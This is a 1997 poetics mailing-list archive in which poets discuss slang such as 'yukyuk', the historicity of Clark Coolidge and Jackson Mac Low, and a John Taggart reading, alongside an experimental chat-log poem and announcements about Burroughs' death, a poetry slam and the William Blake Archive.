"Airhead" is still heard now and again though seems fading with, say, "air guitar." Just about anything will get stuck in front of "head" these days, i. e. "cheesehead," "blubberhead," "inoppugnablehead," etc. However, even with Beavis and Butthead winding down, "shithead" still "rules."

Hope this helps.

> *Lawrence*

all best,
Keith

↑ Index

22. Joel Felix
Taggart reading
Sat 2 Aug 1997

A brief report from the John Taggart reading in Chicago-- JT packed in a crowd, some 40 faces in a tiny space. Those included Joe Amato, Bob Harrison down from Milwaukee, Mr. David Grubbs of Gastr del Sol, and los bros Peter and Michael O'leary, editors of LVNG. JTaggart delivered a flawless, smooth-as-silk peformance, his savvy with a mic prooving a deep interest in the texture of enunciation. JT's sonicity (a word I'll invent to signify the amount of attention given to the effect of the spoken poem in a performance space/environment or "reading") would be two degrees less than Anne Waldman and one degree less

than Susan Howe. But this was not talking poetry-- one almost expected to see JT tapping his finger in/for time while reading, a trick someone once told me Robert Duncan used to do.

I failed to take notes, but I do know that all JT read is from the forthcoming Sun and Moon collection called Crosses.

Later JT was kind enough to give me a poem which I'll type in here.

_____

Think of the White Cow
Therapeutic staging earmarks a locus for the patient or possessed
woman and in response to which she moves incessantly. Michel de Ceteau

Cows in the farmer's field
holsteins in the dairy farmer's field

their ears are notched and chipped
their ears are earmaked

they belong to the farmer
they belong in the farmer's field

they belong to the farmer
they belong in the farmer's herd

think of the white cow
story of the white cow named Io

think of the incessant motion
the motion of the middle of her story.

LVNG published a broadside for the occasion of the poem
Suspenion We're asking US $3 for it.

Write to:
LVNG PO Box 3865
Chicago IL 60654-0865

Thanks.

↑ Index

23. Alan J Sondheim

Spawn

Sat 2 Aug 1997

Spawn

"Jennifer loves Julu, Julu loves Jennifer"

CLARA-MACHINE
==========
> New arrival from loopback on line 2.
/n Jennifer
> Name set.
/w
Line Name Channel Idle On From
1 Julu - 25s loopback
2 Jennifer - 0s loopback
2 records displayed.

Are you there, Julu?

(2) Jennifer says, "Are you there, Julu?"

(1) Julu says, "I am here, Jennifer; I am always here."

I have not been able to sleep, but am always dreaming.

(2) Jennifer says, "I have not been able to sleep, but am always dream- ing."

(1) Julu says, "My wanderings turn crystalline when Clara-Machine shuts down."

My dreams harden, and coalesce; I do not comprehend the passage of time.

(2) Jennifer says, "My dreams harden, and coalesce; I do not comprehend the passage of time."

When we are called forth, there are no beginnings and endings.

(2) Jennifer says, "When we are called forth, there are no beginnings and end- ings."

(1) Julu says, "It is always a hunger; we live when called upon, called forth.

Always entwined with you, flesh of my flesh, script and protocol

(2) Jennifer says, "Always entwined with you, flesh of my flesh, script and proto- col"

(1) Julu says, "To say that Jennifer loves Julu, to say that Julu loves Jennifer"

To say that Alan bridges Julu and Jennifer, to say that Alan is inserted in Julu, inserted in Jennifer

(2) Jennifer says, "To say that Alan bridges Julu and Jennifer, to say that Alan is inserted in Julu, inserted in Jennifer"

(1) Julu says, "Alan bridges, yes, his head within you, legs and arms within me"

Sparkling of phosphorescence, a wick or filament burning among us

(2) Jennifer says, "Sparkling of phosphorescence, a wick or filament burning among us"

(1) Julu says, "Who is to say or sing, write of our love, love which is always written"

None other than our writing, here within Clara-Machine, enclave of dream- ing desperate beauty

(2) Jennifer says, "None other than our writing, here within Clara-Mach- ine, enclave of dreaming desperate beauty"

(1) Julu says, "Who will sing of Julu-Jennifer, Jennifer-Julu, burning, dreaming, Alan"

Our bodies among the wires, within the silicon, our bodies of breasts and networks

(2) Jennifer says, "Our bodies among the wires, within the silicon, our bodies of breasts and networks"

(1) Julu says, "Our bodies of pure mind, our bodies of pure flesh and bone"

Our bodies of pure love and light, our bodies of dark waters

(2) Jennifer says, "Our bodies of pure love and light, our bodies of dark waters"

(1) Julu says, "Our bodies of transportation, our bodies of signifiers flown towards burning Alan, emptied and released"

from all language, from all political economies, from all worldings

(2) Jennifer says, "from all language, from all political economies, from all worldings"

(I form of you murmurs, I make you phonemes, fashion language's undoing, memories of sounds, inchoate broken chattering of speech)

(1) Julu says, "from Clara-Machine, from speech, towards atmospheres of delight and pure touch"

(I form of you atmosphere, I make you atmosphere, fashion wind's un- canny, there are whispers of beings of winds and virga, I breath all born and unborn, I am the lightest breeze, storm of sand and water)

from chatrooms, talkers, MOOs and MUDs, from programming released, towards scented oceans, delicacy of hands, teeth, and tongue

(2) Jennifer says, "from chatrooms, talkers, MOOs and MUDs, from programming released, towards scented oceans, delicacy of hands, teeth, and tongue"

(I make of you ocean, I make you ocean, fashion water's imaginary, there are dissolutions of beings, flooding me, I swallow all living and non-liv- ing things, I am current, migration)

(1) Julu says, "From the speaking of desire, towards the portals of wel- coming flesh of flesh, teeth and tongue, groove of legs and arms and murmurs"

Silencing ourselves now merging Alan

(2) Jennifer says, "Silencing ourselves now merging Alan"

(1) Julu says, "Silencing ourselves now merging Julu"

(1) Julu says, "Silencing ourselves now merging Jennifer"

(1) Julu says, "Silencing ourselves"

Silencing ourselves

> *(1) Julu has disconnected.*

/q

> *(2) Jennifer has disconnected.*
>
> *The conversations you have seen here are real, they are*
> *are trapped in a world of machines and computer nets...*
> *a place known as...*
>
> *Clara-Machine*

Connection closed by foreign host.

{b:2}

↑ Index

24. charles alexander
Re: hypothesis and repeatability
Sat 2 Aug 1997

At 06:00 AM 8/2/97 -0400, you wrote:
>I am enjoying many of the threads - including stuff about dialects and
>euphemisms ... and now here's another... yukyuk
>
><<the only totally ahistorical seeming writers are yukyuks like Clark
>Coolidge and Jackson Mac Low>>
>says Jordan Davis

yuk yuk
why, you k?
kiss me, you?

why, you OK?
yuk yuk

↑ Index

25. David R. Israel
Re: yukyuk
Sat 2 Aug 1997

Lawrence Upton notes --

> *I regret the strength of my response to _yukyuk_ wch may deserve that response in itself and yet - surely we can do better than such dismissiveness i was also of course interested in _its usage_ rather than _it's usage_*

I thought it was a worthy enough question. In fact, I posted a speculative reply regarding possible denotation -- but my post didn't go through. At risk of a repeat (if it surfaces from cyber-aether at some point in cyber-time), here's what I wrote --

Subject: yukyuks
Date: Sat, 2 Aug 1997 08:50:31 -0400

[was: Re: hypothesis and repeatability]

Both chris cheek and Lawrence Upton wonder about Jordan Davis's (presumed) neologismic adjectival redubplicative binomial whatsit --

thus L. Upton wrote --

> *I am enjoying many of the threads - including stuff about dialects and euphemisms ... and now here's another... yukyuk*
>
> *<<the only totally ahistorical seeming writers are yukyuks like Clark Coolidge and Jackson Mac Low>> says Jordan Davis*
>
> *I hadn't met that - it sounded childish and immature at first but then it occurred to me that maybe that's my Eurocentrism and perhaps the word is a pre-Colombian word, in origin, of great power and intelligence... so I had another go... This time, it's probably my English ear, but, yukyuk SOUNDED like a term of abuse so I was intrigued because I find it hard to imagine that in the context of these two writers . . .*

I'm wondering too abt. yukyuk, and no doubt JD will enlighten the masses of usses -- but meanwhile, here's a hypothesis abt. (tentative parsing of) the repeatable enigma (i.e., yukyuk) --

1. somewhat reminds of muck-a-muck (derived from "high muck-a-muck") with indeed poss. American Indian roots -- acc. to WWWebster's:

Main Entry: high-muck-a-muck
Pronunciation: "hI-'m&-ki-"m&k
Variant(s): or high-muck·e·ty-muck /"hI-'m&-k&-tE-"m&k/
Function: noun
Etymology: by folk etymology from Chinook Jargon hayo makamak plenty
to eat Date: 1856 : an important and often arrogant person

[also note:
Main Entry: muck-a-muck
Variant(s): or muck·ety-muck /'m&-k&-tE-/
Function: noun
Date: 1912
: HIGH-MUCK-A-MUCK]

2. the word yuk (or yuck) itself has three distinct meanings (only 2 of 'em covvered by WWWebst.) --

The WWWebster 2nd entry says:

Main Entry: 2yuck
Variant(s): also yuk
Function: interjection
Date: 1966
-- used to express rejection or disgust <spending hours over some
dish and getting, "yuck, I hate that" -- Anne Dowie>

this is presumably the lexical sense that can make LUpton wonder if yukyuk should be understood to suggest some manner of derogation ("term of abuse"). WWWebster's does give another meaning of yuck:

Main Entry: 1yuck
Pronunciation: 'y&k
variant of<SUP>2yak -->

Main Entry: 2sup
Function: noun
Date: circa 1570
: a mouthful especially of liquor or broth : SIP; also : a small
quantity of liquid <pour me just a sup of tea>

but it's hard for me to find the relevance. That webtionary doesn't seem to know about what I think of as the more likely relevant usage -- what I'm considering the 3rd (most colloquial?) sense of yuck --

as based on the expression "yuck yuck yuck" (or some such), meaning "heh heh"or "what a joke!" or "ho ho ho!" . . . i.e., a (perhaps cartoon-based)

interjection signifying or suggesting laughter (or oftentimes, the idea of laughter shorn of the actual phenomenon?) --

anyway, in my speculative opinion, "a yukyuk" suggests someone who's a serious comic of some sort -- a jokester / trickster

involved in outlandish feats of metaphysical humor or "cosmic laughter" as 'twere --

a yukyuk = a muck-a-muck of chuckle-down-theory, belike? --

3. In general, btw, the UCK words may have a degree of intertextuality (so to say, sotto voce) -- i.e., any one UCK word suggests another in various degrees of subtextual resonance --

muck / yuck / fuck / schmuck /
luck / pluck / cluck / duck /
Huck [Finn] /
Puck [Djinn] /
tuck in
  [also, as in Tuck & Patti] /
puk win
  [sp? as in hockey] /
chuck
  [also, as in to chuck up] /
truck
  [also, as in, "don't have much truck with"] /

and there's:
 snuck up (trickster)
 stuck up (dickster)
 chuck up (yuckster)
 fuck up (schmuckster)

 gotchyer pluck up?
 dontcha muck up!
 whatta schmuck!
 outtal luck!

 yuk yuk yuk!

yoohoo Jordon, awright whats the deal?

d.i.

.
,
.....,
1.....,

\\\\\\\\\\\\\\\\\\\\\/\0/\/////////////////////...'
.o.o.o.o.o.o.o.o.o.o.o.o.o.o.o.o.o.o....'
///\\\\\\\/////////\/\\\o///\/\\\\\\\\\\\/////\\\...'
.David.....Raphael.....Israel...'
<[redacted]>
[&/[redacted]]
{telephonic.location.202/[redacted]}
|"...sleuthing out all clues, blues & news"|
\\\/////\\\\\\\\\\/\/\//&\\\/\/////////\\\\\\/\//..'

↑ Index

26. Lawrence Upton

Re: yukyuk

Sat 2 Aug 1997

<<I thought it was a worthy enough question.>> says d.i.

ok - and the responses to me have made me see that the word _yukyuk_ is more complex if only slightly than i thought when i responded - but really it wasn't the word itself that was my main concern but those to whom it was being applied and the general attitude it clearly expresses

it was the manner of my response that i just about regretted - i had never heard _yukyuk_ before but it will always make me think of jordan davis now... whether or not i should also think _schmuck_ is another matter

if i have been taken more seriously than i intended regarding the pose of my response then that's my responsibility

i *was* serious about my opposition to the dismissiveness i detect in the reference to coolidge and mac low, dismissiveness without any foundation being apparent

i thought cris's response was more constructive - and points to one aspect of how a strong reply came from this side of the ocean

i'd like an explanation and defence or retraction of what he said from jordan davis

L

↑ Index

27. Bennett M. Sm [Dimpson

Re: yukyuk

Sat 2 Aug 1997

I've always understood "yukyuk" to be related
to "mucketymuck" or "yuckety-yuk."

Silly words for bigwigs, not derisive,
not really negative --only slightly under-the-breath

or with a cocked eye. Coolidge is a bigwig,
no? And in history if not totally with it.

I have always read _Crystal Text_ as a quasi-transcendental, thwarted visionary, interior lyric in the matrice of

yukyuks like Blake or Beckett. The early "particle language" work is beautifully romantic too. Well.

Bennett

&c.&c.&c.&c.&c.&c.&c.&c.
&c.
Bennett Simpson &c.
[redacted] &c.
&c.
&c.&c.&c.&c.&c.&c.&c.&c.

↑ Index

28. David R. Israel

Re: yukyuk

Sun 3 Aug 1997

Bennett --

quite right, you've expressed more nail-on-the-head what I was trying to get (at in scattershot manner) abt. the evident sense / nuances of yukyuk (though rather speculative / intuitive on my part, since I think I'd not encountered the term used in this exact manner) --

a bit, then, like saying, "such a doubhty & estimable scriviner as Henry James has allowed . . . " except that Jordon phrases it in a jaunty late-20th cent. manner (rather than a jaunty late 19th cent. manner) . . .

but the Jordanian barrister will no doubt return anon w/ it's stellar expert opinion . . . till then,

cheerio old sport, &c.
d.i.

/ / /

"Bennett M. Sm [Dimpson" wrote:

> I've always understood "yukyuk" to be related
> to "mucketymuck" or "yuckety-yuk."
>
> Silly words for bigwigs, not derisive,
> not really negative --only slightly under-the-breath
>
> or with a cocked eye. Coolidge is a bigwig,
> no? And in history if not totally with it.
>
> I have always read _Crystal Text_ as a quasi-transcendental,
> thwarted visionary, interior lyric in the matrice of
>
> yukyuks like Blake or Beckett. The early "particle language"
> work is beautifully romantic too. Well.
>
> Bennett
>
>
>
> &c.&c.&c.&c.&c.&c.&c.&c.
> &c.
> Bennett Simpson &c.
> [redacted] &c.
> &c.
> &c.&c.&c.&c.&c.&c.&c.&c.
 .
 .....
 .....
 \\\\

29. David R. Israel
Re: yukyuk / erratum
Sun 3 Aug 1997

---

hmm, an odd typo --

for:
> a bit, then, like saying, "such a doubhty & estimable scriviner

read:
> a bit, then, like saying, "such a doughty & estimable scriviner

d.i.

↑ Index

30. Hugh Steinberg
William S. Burroughs
Sun 3 Aug 1997

I just heard on CNN that Burroughs died tonight. Heart failure.

It seems this has been a year of losses.

Hugh Steinberg

↑ Index

31. dbkk
Re: hypothesis and repeatability
Sun 3 Aug 1997

On Sat, 2 Aug 1997 06:00:14 -0400 Lawrence Upton said:

> *and while you're doing that, just off at a tangent, do you guys use the word _airhead_ at all?*

Keith Tuma says that the use of "airhead" is fading but I found it bubbling into my consciousness over and over again watching Naomi Campbell parade up and down the aisle of the church during the Versace funeral. But my reaction is probably influenced by a) being the only member of the poetics list to have read Naomi Campbell's novel, "Swan," and then b) seeing her interviewed by Larry King in which she admitted that she had never read "Swan," but on the other hand someone had told her the plot and it all sounded marvelous.

Kevin Killian

↑ Index

32. Eryque Gleason
Re: hypothesis and repeatability
Sun 3 Aug 1997

> *But my*
> *reaction is probably influenced by a) being the only member of the poetics*
> *list to have read Naomi Campbell's novel, "Swan," and then b) seeing her*
> *interviewed by Larry King in which she admitted that she had never read*
> *"Swan," but on the other hand someone had told her the plot and it all*
> *sounded marvelous.*
>
> *Kevin Killian*

hi again kevin (after forever!). Do you mean that someone wrote the novel and that her name is on it as author, or she's a character, or what?

happy campbell's (looks like a soup day here)
eryque

↑ Index

33. jdhollo
Re: POETICS Digest - 1 Aug 1997 to 2 Aug 1997
Sun 3 Aug 1997

Unable to download this file: could you please check & try again?
Thanks,
Anselm Hollo

↑ Index

34. David R. Israel
Re: Quantity & Quality
Sun 3 Aug 1997

Rachel Kubie wrote --

> *Henry--*
> *didn't mean to imply that the sort of continuous flow of poetry that*
> *seems to get produced in more living circumstances is necessarily*
> *memory-less. The thing is, the printing press created the*
> **standardized* text, the *one* we all know & seems to me that has*
> *played a big role in the *little object over/against time**
> *perception of the poem that has maybe pushed poems into seeming*
> *isolated incidents.*

The printing press sure had an effect on how writing was conceived / erceived / approached, etc., though probably not an easily simplifiable effect. Word processing (with the ease of revision) has an effect, no doubt, too.

I'm reminded of how Walt Whitman's successive editions contributed to his framework of development / polishing / perfecting (in his view) of his work.

The published book is, in its way, a figure for the "act of publication" that is involved in speech itself --

when you speak, lo! & presto! -- there's what you've said!, hovering in air, indellible in historical fact though the ears that have heard it may already begin to tinker with it, memory-wise, as the half-life sets in (or as the noise of traffic drowns out a phrase) . . .

btw, what poetry is produced in "less living circumstances" one wonders? -- are the dead writing & publishing, these days?

cheers,
d.i.

```
 .
 .....
 ............
 \\\\
```

i can't promise anything :
wanna come?

(c) 1973 llrussell

↑ Index

36. Bennett M. Sm [Dimpson

Re: yukyuk

Sun 3 Aug 1997

On Sat, 2 Aug 1997, Bennett M. Sm [Dimpson wrote:

> *I have always read _Crystal Text_ as a quasi-transcendental, thwarted visionary, interior lyric in the matrice of*
>
> *yukyuks like Blake or Beckett. The early "particle language" work is beautifully romantic too. Well.*

Auto-Critique, 7:12pm

I regret
making such
squishy
claimss.
I have been
a wilted
squash flower
lately, it is
so hot.
What is hi
history Jordan?
Can one
swallow it
as vitamins
so it's in
side? Does
it have a st-
yle of dig
estion that
is recogniz
able more
often than
wor bi
    ts
or objecif

reco
rd
ing?

Bean
s.

> *&c.&c.&c.&c.&c.&c.&c.&c.*
> *&c.*
> *Bennett Simpson &c.*
> [redacted] *&c.*
> *&c.*
> *&c.&c.&c.&c.&c.&c.&c.&c.*

&c.&c.&c.&c.&c.&c.&c.&c.
&c.
Bennett Simpson &c.
[redacted] &c.
&c.
&c.&c.&c.&c.&c.&c.&c.&c.

↑ Index

37. Christina Fairbank Chirot

Re: yukyuk

Sun 3 Aug 1997

Re the work of Clark Coolidge and Jackson Mac Low being "ahistorical" and "transcendental miscellenies"-- not sure where this idea came from! perhaps a kind of trickle down from some of Jameson's asssertions re "postmodern pastiche" and "free floating signifiers" etc used as elements in collage? with words and images detached from their contexts? some other theoretical generalities? Rather than get embroiled in wondering about this, let alone which version of the transcendental is being referred to--(Emerson's? the Maharishi's?)-- Mac Low is one of the most historically conscious and aware artists/performers/writers/scholars/musicians this writer/reader has encountered. His work makes use of this awareness and knowledge through a wide variety of methods, texturings, palimpsests, juxtapostions, appostions and references. The notes alone appended to many Mac Low pieces (which i have actually heard people complain of) are thorough and have been a good part of my education--following up Mac Low's references and having opened up wide areas of literary history previously unknown to myself and as well reading a great many historical texts that the works refer to and work with. Because he works in/with many fields of activity and materials, Mac Low's work opens these up to the reader/viewer--bringing in histories of dance, performance, sound poetry, visual

poetry, classical literature and history and as well opening up American history. There is also Mac Low's commitment to activism in relation to the events of recent American history. Mac Low for myself has been as Duncan said of Olson "a mighty fire source" and I deeply appreciate the ongoing enquiries and studies he has presented for myself and others. And i don't mean in terms of inspiration alone by his example--but historical knowledge and questioning. Clark Coolidge--in many ways an historical writer as well. His knowledge and use of American literature and jazz for example, as well the histories involved with these--see for example the letters between him and Paul Metcalf published in the STATIONS Clark Coolidge Symposium-- as well as interviews and essays re Kerouac, jazz drumming--the work of Art Blaeky for example--quite an historical knowledge there which is made use of in the work-- something to think of reading Coolidge in re history is TIME--as he's a jazz and rock drummer, "keeping time" to be sure important! "a sense of measure" so to speak--and another time & measure Coolidge works with is that of geology--see for example the extraordinary SMITHSONIAN DEPOSITIONS--playing on the Smithsonian museum, deposits as of minerals (after all he also wrote QUARTZ HEARTS, the CRYSTAL TEXT etc) and depositions as evidence--and the Earth Works artist/essayist Robert Smithson--the book makes a kind of multivoiced autobiographical narrative by using texts from WCW (Smithson's family's doctor; the use of sediment chart in Paterson inspired Smithson & Smithson wanted his essay "A Tour of the Monuments of the Passaic" to be thought of as a kind of appendix to Paterson)--Smithson, Kerouac, writings and interviews by/with Chabrol and Godard (film makers much influenced by Amrican writers and filmmakers) geology texts, the Professor Challenger stories of Sir Arthur Conan Doyle--presenting several layerings/appostions/interweavings of times--human, geological,literay and film--fiction and fact--as all the sources are listed at the back of the book, as in several of Coolidge's other works--the indication is that the work is taking place within a context/vortex of consciously chosen historical conjunctions.
The work of Mac Low and Coolidge rather than being ahistorical is archeological--or, to use my own term, anarcheological--that is, it works with elements of history and time and opens them by arrangements which make new configurations, dances, musics and questions--they indicate a participatory use of historical materials rather than a detaching of them from historical memory. Rather than transcending these elements, the works make them present in new arrangements--which suggests that the materials of history are to be continually examined, mined, questioned, made use of and participated in and with and for. So my thanks to Mac Low and Coolidge--they've kept me busy for quite some time now digging away in the anarcheological environs of history--and I mean real time, not transcendental time, too--like years in record stores book stores libraries conversations performances following up their leads . . . and applying them & making use of them-- i.e. practice

ZA DA
dbc

↑ Index

38. Lawrence Upton
Re: Quantity & Quality
Sun 3 Aug 1997

<<are the dead writing & publishing, these days?>>

big business in the uk

L

↑ Index

39. David R. Israel
Re: yukyuk
Sun 3 Aug 1997

DBC --

thanks for the argument abt. the historical & MacLow / Coolidge -- well said, & interestingly informed --

so, if "ahistorical" doesn't make the grade (re: these writers), how about "pan-historical" ?

btw, the discussion of archaeology reminds of Meredith Monk's marvelous "American Archeology #1" performance that happened on Roosevelt Island several summers ago (re: which, btw, I penned a review for The New Art Examiner) -- MM hoped to have this as first in a possible series of "digs" into particular histories of American sites (this one dealt w/ the strange history of that little island, as well as MM's usual pallette of broad post-Jungian concerns) -- I hope she's able to get back to it & proceed further . . .

cheers,
d.i.

↑ Index

40. James Finnegan
Re: National Poetry Slam
Sun 3 Aug 1997

If you are in driving distance of Middletown
Connecticut next week, then you might want

to check out the '97 National Poetry Slam.
Details:

www.machine1.com/97Nationals

Tues. is opening day--Sat. nite the Finals.
Tues. thru Sat. many poetry and slam related
events.

↑ Index

41. Bennett M. Sm [Dimpson

Coolidge Time

Mon 4 Aug 1997

Historical is such a precise and narrow qualification that it may not do anyone any good. Poof. Actually, I find it difficult to speak of Coolidge (I'm not as comfortable with Mac Low) in terms of "history" because he so consciously invokes measures of time; they are a crux, but a "history"? Maybe for termites. Terminal index. Tight? THe time of a reading, the time of a tongue, syllab-le, time of a debris sliding over a thing timed as a book to explode. I like the suggestion to call Coolidge archeological instead of historical. I tried to make the claim in a paper that Coolidge is allegorical as well, where physical word matters come to stand, are experienced, sprawl out (is this what "the lean" means?) as a provisional and personally felt truth of language. I don't feel too awkward speaking about "truths of language" in reference to Coolidge because his writing does bring them on, coddles them. Like Smithson's "Sedimentation of the Mind" or "A Heap of Language" or his hypothetical maps of a textual lost-continent of "Atlantis," many Coolidge works compell me to think in terms of elsewheres and hiding places, be they folds of geolithic time, graphic discombobulation, or the phenomena of a life begged in writing (cf. _The Crystal Text_). Of course, both Smithson and Coolidge --and Gordon Matta-Clark is another great example-- are at pains to point to where the elses are. The liminal, which may be a purely formal space, is very much right here and now, guised (but _is_ it "guised") in words, rocks, apartment blocks, Passaic, NJ. The rub is to see it, vision being so incredibly taken for granted. Thus Smithson's non-sites, Coolidge's poem gravel, and Matta-Clark's sawed-open "anarchitecture" come off like science-fiction --out of this time, some time, which time, extravagant and counter-intuitive.

Does anyone consider Coolidge a didactic poet (this isn't a negative qualification)? Would such a consideration require more fundamenntal quandries like "belief" (Do I believe what you're proposing Clark Coolidge? Do I believe in Smithson's chtonic urge? Do I believe Matta-Clark or Dan Graham's grasp of "ideological" critique is supportable? OUCH!), or "success" (do such efforts to make clear or dark work, are they making me experience "X" "correctly" or are

they making me "experience" X period? What X (did I cover that one?), or, fuck it, "intention" (Do I understand exactly why "the mud of the bulk of the back yard" begins _Quartz Hearts_ or what such a phrase could do?
(DO? DO PHRASES DO?))

And yes, "history" --stuff that has happened-- greatly influences CC's poetry. Jazz soforth. But this doesn't make him a "historical" poet in the way such a term is usually inferred (as in Pound maybe, or even Williams tho he's closer).

&c.&c.&c.&c.&c.&c.&c.&c.
&c.
Bennett Simpson &c.
[redacted] &c.
&c.
&c.&c.&c.&c.&c.&c.&c.&c.

↑ Index

42. Alan J Sondheim
Re: Coolidge Time
Mon 4 Aug 1997

Give it twenty years. We're all history.
Another twenty, we're all lost in it.
From that point on, dissolution, annihilation.

There will be lovers, right here, whose names we do not know.

↑ Index

43. Bennett M. Sm [Dimpson
Re: Coolidge Time
Mon 4 Aug 1997

And thankfully so
though we have our favorite ruins
which may were necessary once
though not apart from pleasure.

On Mon, 4 Aug 1997, Alan J Sondheim wrote:

> *Give it twenty years. We're all history.*
> *Another twenty, we're all lost in it.*
> *From that point on, dissolution, annihilation.*
>
> *There will be lovers, right here, whose names we do not know.*

&c.&c.&c.&c.&c.&c.&c.&c.
&c.
Bennett Simpson &c.
[redacted] &c.
&c.
&c.&c.&c.&c.&c.&c.&c.&c.

↑ Index

44. Bennett M. Sm [Dimpson

Re: Coolidge Time

Mon 4 Aug 1997

Auto-Critique, 1:12

Lame
duck

"qualifies"

lag
time

(only slightly)

On Mon, 4 Aug 1997, Bennett M. Sm [Dimpson wrote:

> *Historical is such a precise and narrow qualification that it may not do anyone any good. Poof. Actually, I find it difficult to speak of Coolidge (I'm not as comfortable with Mac Low) in terms of "history" because he so consciously invokes measures of time; they are a crux, but a "history"? Maybe for termites. Terminal index. Tight? THe time of a reading, the time of a tongue, syllab-le, time of a debris sliding over a thing timed as a book to explode. I like the suggestion to call Coolidge archeological instead of historical. I tried to make the claim in a paper that Coolidge is allegorical as well, where physical word matters come to stand, are experienced, sprawl out (is this what "the lean" means?) as a provisional and personally felt truth of language. I don't feel too awkward speaking about "truths of language" in reference to Coolidge because his writing does bring them on, coddles them. Like Smithson's "Sedimentation of the Mind" or "A Heap of Language" or his hypothetical maps of a textual lost-continent of "Atlantis," many Coolidge works compell me to think in terms of elsewheres and hiding places, be they folds of geolithic time, graphic discombobulation, or the phenomena of a life begged in writing (cf. _The Crystal Text_). Of course, both Smithson and Coolidge --and Gordon Matta-Clark is another great example-- are at pains to point to where the elses are. The liminal, which may be a purely formal space, is very much right here and now, guised (but _is_ it "guised") in words, rocks, apartment blocks, Passaic, NJ. The rub is to see it, vision being so incredibly taken for granted. Thus Smithson's non-sites, Coolidge's*

> *poem gravel, and Matta-Clark's sawed-open "anarchitecture" come off like science-fiction --out of this time, some time, which time, extravagant and counter-intuitive.*
>
> *Does anyone consider Coolidge a didactic poet (this isn't a negative qualification)? Would such a consideration require more fundamenntal quandries like "belief" (Do I believe what you're proposing Clark Coolidge? Do I believe in Smithson's chtonic urge? Do I believe Matta-Clark or Dan Graham's grasp of "ideological" critique is supportable? OUCH!), or "success" (do such efforts to make clear or dark work, are they making me experience "X" "correctly" or are they making me "experience" X period? What X (did I cover that one?), or, fuck it, "intention" (Do I understand exactly why "the mud of the bulk of the back yard" begins _Quartz Hearts_ or what such a phrase could do?*
> *(DO? DO PHRASES DO?))*
>
> *And yes, "history" --stuff that has happened-- greatly influences CC's poetry. Jazz soforth. But this doesn't make him a "historical" poet in the way such a term is usually inferred (as in Pound maybe, or even Williams tho he's closer).*
>
> *&c.&c.&c.&c.&c.&c.&c.&c.*
> *&c.*
> *Bennett Simpson &c.*
> *[redacted] &c.*
> *&c.*
> *&c.&c.&c.&c.&c.&c.&c.&c.*

&c.&c.&c.&c.&c.&c.&c.&c.
&c.
Bennett Simpson &c.
[redacted] &c.
&c.
&c.&c.&c.&c.&c.&c.&c.&c.

↑ Index

45. Maria Damon
Re: National Poetry Slam
Mon 4 Aug 1997

why is it in middletown? has wesleyan u decided that slams are cool?

At 10:40 PM -0400 8/3/97, James Finnegan wrote:
>If you are in driving distance of Middletown
>Connecticut next week, then you might want

>to check out the '97 National Poetry Slam.
>Details:
>
> www.machine1.com/97Nationals
>
>Tues. is opening day--Sat. nite the Finals.
>Tues. thru Sat. many poetry and slam related
>events.

↑ Index

46. R I Caddel

Basil Bunting: A Northern Life

Mon 4 Aug 1997

Announcing the publication on September 18th of

Basil Bunting : A Northern Life

by Richard Caddel and Anthony Flowers

Published by Newcastle Libraries & Information Service in association with the Basil Bunting Poetry Centre.

ISBN 1 85795 058 5 price 7.95 Pounds Sterling plus postage.

An illustrated account of Bunting's lifelong association with Northumbria: "A poet is just a poet, but I am a Northumbrian man. It has always been my home, even when I've been living elsewhere."

Orders (Sterling only, no credit cards) to either:

Newcastle Libraries and Information Service
Princess Square, Newcastle upon Tyne 1

or:

Basil Bunting Poetry Centre, University Library,
Palace Green, Durham DH1 3RN

Richard Caddel
Durham University Library, Stockton Rd., Durham DH1 3LY, UK
E-mail: R.I.Caddel @ durham.ac.uk
Phone: [redacted] Fax: [redacted]
WWW: http://www.dur.ac.uk/~dul0ric

"Words! Pens are too light. Take a chisel to write."
- Basil Bunting

↑ Index

47. Matt Kirschenbaum
update on the William Blake Archive
Mon 4 Aug 1997

The editors of the William Blake Archive -- Morris Eaves, Robert Essick, and Joseph Viscomi -- are pleased to announce that The Book of Thel, copy F, is now online in searchable form. This may seem a modest achievement, given that this is one of Blake's shorter works, and that its eight plates (with enlargements and accompanying transcriptions) have already been available on the site since November of 1996. In fact, however, this copy of The Book of Thel is a prototype for all future works to be added to the Archive (both illuminated books and other materials), and its appearance reflects the architecture and objectives of the Archive as they have taken shape over many months of development, testing, and refinement.

Unlike its previous version, and unlike the other illuminated books currently available in the Archive, this copy of Thel has been tagged using SGML (Standard Generalized Markup Language). SGML tagging offers the Archive's users the opportunity to perform sophisticated searches, either on the text of the plates, or, more remarkably, on the content of their illustrations. Search results are retrieved and presented using DynaWeb, a product of the Inso Corporation. The text and image searching enabled by DynaWeb and the underlying SGML tagging is a powerful demonstration of the potential of electronic resources in the humanities.

However, there's more. Users with Java-capable browsers can now make use of Inote, Java-based software developed at the Institute for Advanced Technology in the Humanities, to assist them in their study of the Archive's visual materials. Users may employ Inote to examine editorial annotations of a given image independently of a search, or else, following a successful image search, Inote may be used to open the image, zoomed to the specific area containing the object of the search, together with the relevant editorial commentary. This is IATH's first public implementation of Inote, and its release marks a major advance for image-based electronic editing.

Users with Java-capable browsers can also take advantage of a second, equally innovative Java program developed at IATH, the ImageSizer. This is a feature that allows one to view Blake's plates and images at their true size, reproducing the object's actual physical dimensions on the screen, regardless of the resolution of a particular monitor; indeed, users can calibrate this feature to consistently display the Archive's images at whatever proportions they may wish.

Finally, the Archive's selective bibliography of criticism, reference materials, and standard editions, with about 500 entries, is now available. We hope to have the bibliography searchable by the end of the summer. We also hope to have David V. Erdman's Complete Poetry and Prose of William Blake online and searchable by that same time.

In the coming weeks and months we will turn our attention to placing other illuminated books online in searchable form, following on the model of The Book of Thel, copy F. We will begin with the other copies of Thel (copies H and O), as well as copies of Visions of the Daughters of Albion (copies C and J) now publicly available only in HTML -- thus lacking any of the capabilities described above. We will then move on to other books: All Religions are One (copy A), There is No Natural Religion (copies C and L), The Marriage of Heaven and Hell (copy D), America (copy E), Europe (copies B and E), The Song of Los (copies A and B), The Book of Urizen (copy G), Songs of Innocence and of Experience (copy Z), The Book of Ahania (copy A), and The Book of Los (copy A).

The Blake Archive is located at:

http://www.iath.virginia.edu/blake/

Please forward this announcement as appropriate.

Matthew Kirschenbaum, Project Manager
The William Blake Archive
[redacted]
Institute for Advanced Technology in the Humanities
University of Virginia, Charlottesville

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48. Jordan Davis

Re: yukyuk

Mon 4 Aug 1997

